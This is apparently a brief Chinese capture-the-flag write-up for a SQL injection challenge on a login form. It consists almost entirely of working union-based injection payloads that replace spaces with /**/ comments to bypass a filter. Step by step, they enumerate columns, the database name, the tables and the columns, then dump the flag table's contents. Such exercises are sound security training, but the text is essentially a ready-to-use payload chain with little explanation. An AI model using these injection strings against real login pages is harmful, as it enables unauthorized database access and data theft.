万能密码跑一遍看看能不能看出过滤了啥东西
或者推测书查询语句格式

看来是空格被过滤 单引号包裹
空格过滤绕过方法
1、查字段
admin'/**/or/**/1=1/**/order/**/by/**/3#admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#
2、查库(web2)
admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
3、查表（flag,user）
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
4、查字段flag
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
5、查字段flag内容admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
